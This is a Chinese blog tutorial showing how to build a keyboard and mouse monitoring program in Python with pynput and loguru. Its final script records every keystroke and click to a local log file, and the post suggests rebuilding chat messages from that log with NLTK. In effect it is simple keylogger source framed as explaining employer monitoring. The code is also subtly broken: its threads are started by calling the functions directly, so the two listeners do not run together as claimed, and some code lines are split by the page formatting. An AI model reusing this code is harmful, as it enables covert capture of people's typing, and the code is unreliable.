1. 程式人生 > 其它 >【Python】三個步驟,寫一個電腦監控程式

【Python】三個步驟,寫一個電腦監控程式

很多小夥伴說自己的公司在監控自己有沒有摸魚、偷懶。有時候想偷偷懶都會被發現,今天就帶大家來解開這神祕的面紗。搞懂了這個,估計你就知道怎麼去摸魚了。

監控鍵盤

如果公司偷偷在我們的電腦上運行了一個後臺程序,來監控我們的鍵盤事件,最簡單的 python 寫法大致是這樣的:

from pynput import keyboard

def on_press(key):
    print(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


with keyboard.Listener(on_press
=on_press, on_release=on_release) as lsn: lsn.join()

 

隨意敲擊鍵盤,你就會從控制檯看到這樣的輸出:

程式碼內容就是兩個方法,一個是監聽按鍵事件,另一個是監聽退出事件——敲擊 ESC 按鍵後釋放就退出了。

監控滑鼠

如果還要監聽滑鼠事件,那麼上這段程式碼就行了:

####Python資源庫Q群:906715085#####

from
pynput import mouse def on_click(x, y, button, pressed): if button == mouse.Button.left:
print('left was pressed!') elif button == mouse.Button.right: print('right was pressed!') return False else: print('mid was pressed!') # 定義滑鼠監聽執行緒 with mouse.Listener(on_click=on_click) as listener: listener.join()

 

這段程式碼主要是監聽滑鼠的左右鍵點選操作,執行之後操作滑鼠,就可以看到控制檯列印如下結果:

細心的你一定會發現,每次點選事件,都列印了兩次。這是因為按下和鬆開都會觸發滑鼠事件。

記錄監控日誌

鍵盤事件和滑鼠事件都有了,是時候將二者結合起來,把使用者的操作記錄到日誌了。這裡我們用 loguru 這個模組來記錄日誌。

整個程式碼如下:

from pynput import keyboard, mouse
from loguru import logger
from threading import Thread

# 定義日誌檔案
logger.add('moyu.log')


def on_press(key):
    logger.debug(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


# 定義鍵盤監聽執行緒
def press_thread():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()


def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
    else:
        return False


# 定義滑鼠監聽執行緒
def click_thread():
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起兩個執行緒分別監控鍵盤和滑鼠
    t1 = Thread(target=press_thread())
    t2 = Thread(target=click_thread())
    t1.start()
    t2.start()

 

執行之後,你就可以在同級目錄下的日誌檔案中,看到這樣的內容了:

最後

本文主要通過 pynput 這個 python 模組,演示怎麼記錄鍵盤和滑鼠的操作。這幾行簡單的程式碼對於簡單的輸入監控是可行的,但是對於聊天記錄之類的複雜語句,你還需要針對日誌用 NLTK 語言處理,才能復原你的聊天記錄。
這個技能的分享到這裡就結束了,關於我辛辛苦苦碼了這麼多程式碼,這需要一個贊安慰一下我幼小的心靈,讚我的的一定是美麗、帥氣的。下一篇 見了。